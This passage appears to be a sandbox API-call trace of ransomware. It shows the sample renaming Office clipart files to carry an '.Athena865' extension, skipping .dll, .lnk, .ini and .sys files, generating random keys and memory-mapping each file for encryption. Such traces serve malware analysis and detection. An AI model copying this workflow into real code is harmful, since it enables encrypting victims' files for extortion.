(lpString="J0315580.JPG") returned 12 [0130.525] lstrlenW (lpString="Athena865") returned 9 [0130.525] lstrcmpiW (lpString1="15580.JPG", lpString2="Athena865") returned -1 [0130.525] lstrlenW (lpString=".dll") returned 4 [0130.525] lstrcmpiW (lpString1="J0315580.JPG", lpString2=".dll") returned 1 [0130.525] lstrlenW (lpString=".lnk") returned 4 [0130.525] lstrcmpiW (lpString1="J0315580.JPG", lpString2=".lnk") returned 1 [0130.525] lstrlenW (lpString=".ini") returned 4 [0130.525] lstrcmpiW (lpString1="J0315580.JPG", lpString2=".ini") returned 1 [0130.525] lstrlenW (lpString=".sys") returned 4 [0130.525] lstrcmpiW (lpString1="J0315580.JPG", lpString2=".sys") returned 1 [0130.525] lstrlenW (lpString="J0315580.JPG") returned 12 [0130.525] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.Athena865") returned 73 [0130.525] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg.athena865"), dwFlags=0x1) returned 1 [0130.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.527] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19202) returned 1 [0130.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.527] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.528] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.528] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.528] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e10, lpName=0x0) returned 0x154 [0130.530] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e10) returned 0x100000 [0130.532] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.533] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.533] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.533] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0315612.JPG" | out: lpString1="J0315612.JPG") returned="J0315612.JPG" [0130.533] lstrlenW (lpString="J0315612.JPG") returned 12 [0130.533] lstrlenW (lpString="Athena865") returned 9 [0130.533] lstrcmpiW (lpString1="15612.JPG", lpString2="Athena865") returned -1 [0130.533] lstrlenW (lpString=".dll") returned 4 [0130.533] lstrcmpiW (lpString1="J0315612.JPG", lpString2=".dll") returned 1 [0130.534] lstrlenW (lpString=".lnk") returned 4 [0130.534] lstrcmpiW (lpString1="J0315612.JPG", lpString2=".lnk") returned 1 [0130.534] lstrlenW (lpString=".ini") returned 4 [0130.534] lstrcmpiW (lpString1="J0315612.JPG", lpString2=".ini") returned 1 [0130.534] lstrlenW (lpString=".sys") returned 4 [0130.534] lstrcmpiW (lpString1="J0315612.JPG", lpString2=".sys") returned 1 [0130.534] lstrlenW (lpString="J0315612.JPG") returned 12 [0130.534] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.Athena865") returned 73 [0130.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg.athena865"), dwFlags=0x1) returned 1 [0130.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.535] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16954) returned 1 [0130.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.536] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.536] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.537] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.537] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4540, lpName=0x0) returned 0x154 [0130.538] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4540) returned 0x100000 [0130.540] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.541] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.541] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.541] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0318448.WMF" | out: lpString1="J0318448.WMF") returned="J0318448.WMF" [0130.541] lstrlenW (lpString="J0318448.WMF") returned 12 [0130.542] lstrlenW (lpString="Athena865") returned 9 [0130.542] lstrcmpiW (lpString1="18448.WMF", lpString2="Athena865") returned -1 [0130.542] lstrlenW (lpString=".dll") returned 4 [0130.542] lstrcmpiW (lpString1="J0318448.WMF", lpString2=".dll") returned 1 [0130.542] lstrlenW (lpString=".lnk") returned 4 [0130.542] lstrcmpiW (lpString1="J0318448.WMF", lpString2=".lnk") returned 1 [0130.542] lstrlenW (lpString=".ini") returned 4 [0130.542] lstrcmpiW (lpString1="J0318448.WMF", lpString2=".ini") returned 1 [0130.542] lstrlenW (lpString=".sys") returned 4 [0130.542] lstrcmpiW (lpString1="J0318448.WMF", lpString2=".sys") returned 1 [0130.542] lstrlenW (lpString="J0318448.WMF") returned 12 [0130.542] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.Athena865") returned 73 [0130.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf.athena865"), dwFlags=0x1) returned 1 [0130.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.543] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16768) returned 1 [0130.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.544] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.545] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.545] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.545] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4480, lpName=0x0) returned 0x154 [0130.546] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4480) returned 0x100000 [0130.548] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.549] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.549] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.550] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0318804.WMF" | out: lpString1="J0318804.WMF") returned="J0318804.WMF" [0130.550] lstrlenW (lpString="J0318804.WMF") returned 12 [0130.550] lstrlenW (lpString="Athena865") returned 9 [0130.550] lstrcmpiW (lpString1="18804.WMF", lpString2="Athena865") returned -1 [0130.550] lstrlenW (lpString=".dll") returned 4 [0130.550] lstrcmpiW (lpString1="J0318804.WMF", lpString2=".dll") returned 1 [0130.550] lstrlenW (lpString=".lnk") returned 4 [0130.550] lstrcmpiW (lpString1="J0318804.WMF", lpString2=".lnk") returned 1 [0130.550] lstrlenW (lpString=".ini") returned 4 [0130.550] lstrcmpiW (lpString1="J0318804.WMF", lpString2=".ini") returned 1 [0130.550] lstrlenW (lpString=".sys") returned 4 [0130.550] lstrcmpiW (lpString1="J0318804.WMF", lpString2=".sys") returned 1 [0130.550] lstrlenW (lpString="J0318804.WMF") returned 12 [0130.550] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.Athena865") returned 73 [0130.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf.athena865"), dwFlags=0x1) returned 1 [0130.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.552] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11770) returned 1 [0130.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.553] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.553] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.553] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.554] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3100, lpName=0x0) returned 0x154 [0130.556] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3100) returned 0x100000 [0130.557] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.558] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.558] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.559] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0318810.WMF" | out: lpString1="J0318810.WMF") returned="J0318810.WMF" [0130.559] lstrlenW (lpString="J0318810.WMF") returned 12 [0130.559] lstrlenW (lpString="Athena865") returned 9 [0130.559] lstrcmpiW (lpString1="18810.WMF", lpString2="Athena865") returned -1 [0130.559] lstrlenW (lpString=".dll") returned 4 [0130.559] lstrcmpiW (lpString1="J0318810.WMF", lpString2=".dll") returned 1 [0130.559] lstrlenW (lpString=".lnk") returned 4 [0130.559] lstrcmpiW (lpString1="J0318810.WMF", lpString2=".lnk") returned 1 [0130.559] lstrlenW (lpString=".ini") returned 4 [0130.559] lstrcmpiW (lpString1="J0318810.WMF", lpString2=".ini") returned 1 [0130.559] lstrlenW (lpString=".sys") returned 4 [0130.559] lstrcmpiW (lpString1="J0318810.WMF", lpString2=".sys") returned 1 [0130.559] lstrlenW (lpString="J0318810.WMF") returned 12 [0130.559] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.Athena865") returned 73 [0130.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf.athena865"), dwFlags=0x1) returned 1 [0130.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.561] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10430) returned 1 [0130.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.561] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.562] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.562] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.562] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2bc0, lpName=0x0) returned 0x154 [0130.563] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2bc0) returned 0x100000 [0130.565] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.566] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.566] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.566] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0321179.JPG" | out: lpString1="J0321179.JPG") returned="J0321179.JPG" [0130.567] lstrlenW (lpString="J0321179.JPG") returned 12 [0130.567] lstrlenW (lpString="Athena865") returned 9 [0130.567] lstrcmpiW (lpString1="21179.JPG", lpString2="Athena865") returned -1 [0130.567] lstrlenW (lpString=".dll") returned 4 [0130.567] lstrcmpiW (lpString1="J0321179.JPG", lpString2=".dll") returned 1 [0130.567] lstrlenW (lpString=".lnk") returned 4 [0130.567] lstrcmpiW (lpString1="J0321179.JPG", lpString2=".lnk") returned 1 [0130.567] lstrlenW (lpString=".ini") returned 4 [0130.567] lstrcmpiW (lpString1="J0321179.JPG", lpString2=".ini") returned 1 [0130.567] lstrlenW (lpString=".sys") returned 4 [0130.567] lstrcmpiW (lpString1="J0321179.JPG", lpString2=".sys") returned 1 [0130.567] lstrlenW (lpString="J0321179.JPG") returned 12 [0130.567] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.Athena865") returned 73 [0130.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg.athena865"), dwFlags=0x1) returned 1 [0130.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.569] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9431) returned 1 [0130.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.570] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.571] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.571] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.571] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27e0, lpName=0x0) returned 0x154 [0130.572] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27e0) returned 0x100000 [0130.573] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.574] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.574] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.575] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0324694.WMF" | out: lpString1="J0324694.WMF") returned="J0324694.WMF" [0130.575] lstrlenW (lpString="J0324694.WMF") returned 12 [0130.575] lstrlenW (lpString="Athena865") returned 9 [0130.575] lstrcmpiW (lpString1="24694.WMF", lpString2="Athena865") returned -1 [0130.575] lstrlenW (lpString=".dll") returned 4 [0130.575] lstrcmpiW (lpString1="J0324694.WMF", lpString2=".dll") returned 1 [0130.575] lstrlenW (lpString=".lnk") returned 4 [0130.575] lstrcmpiW (lpString1="J0324694.WMF", lpString2=".lnk") returned 1 [0130.575] lstrlenW (lpString=".ini") returned 4 [0130.575] lstrcmpiW (lpString1="J0324694.WMF", lpString2=".ini") returned 1 [0130.575] lstrlenW (lpString=".sys") returned 4 [0130.575] lstrcmpiW (lpString1="J0324694.WMF", lpString2=".sys") returned 1 [0130.575] lstrlenW (lpString="J0324694.WMF") returned 12 [0130.575] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.Athena865") returned 73 [0130.575] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf.athena865"), dwFlags=0x1) returned 1 [0130.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.577] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12280) returned 1 [0130.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.577] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.578] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.578] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.578] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3300, lpName=0x0) returned 0x154 [0130.580] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3300) returned 0x100000 [0130.582] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.582] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.583] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.583] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0324704.WMF" | out: lpString1="J0324704.WMF") returned="J0324704.WMF" [0130.583] lstrlenW (lpString="J0324704.WMF") returned 12 [0130.583] lstrlenW (lpString="Athena865") returned 9 [0130.583] lstrcmpiW (lpString1="24704.WMF", lpString2="Athena865") returned -1 [0130.583] lstrlenW (lpString=".dll") returned 4 [0130.583] lstrcmpiW (lpString1="J0324704.WMF", lpString2=".dll") returned 1 [0130.583] lstrlenW (lpString=".lnk") returned 4 [0130.583] lstrcmpiW (lpString1="J0324704.WMF", lpString2=".lnk") returned 1 [0130.583] lstrlenW (lpString=".ini") returned 4 [0130.584] lstrcmpiW (lpString1="J0324704.WMF", lpString2=".ini") returned 1 [0130.584] lstrlenW (lpString=".sys") returned 4 [0130.584] lstrcmpiW (lpString1="J0324704.WMF", lpString2=".sys") returned 1 [0130.584] lstrlenW (lpString="J0324704.WMF") returned 12 [0130.584] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.Athena865") returned 73 [0130.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf.athena865"), dwFlags=0x1) returned 1 [0130.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.585] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11902) returned 1 [0130.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.585] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.586] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.586] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.586] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, 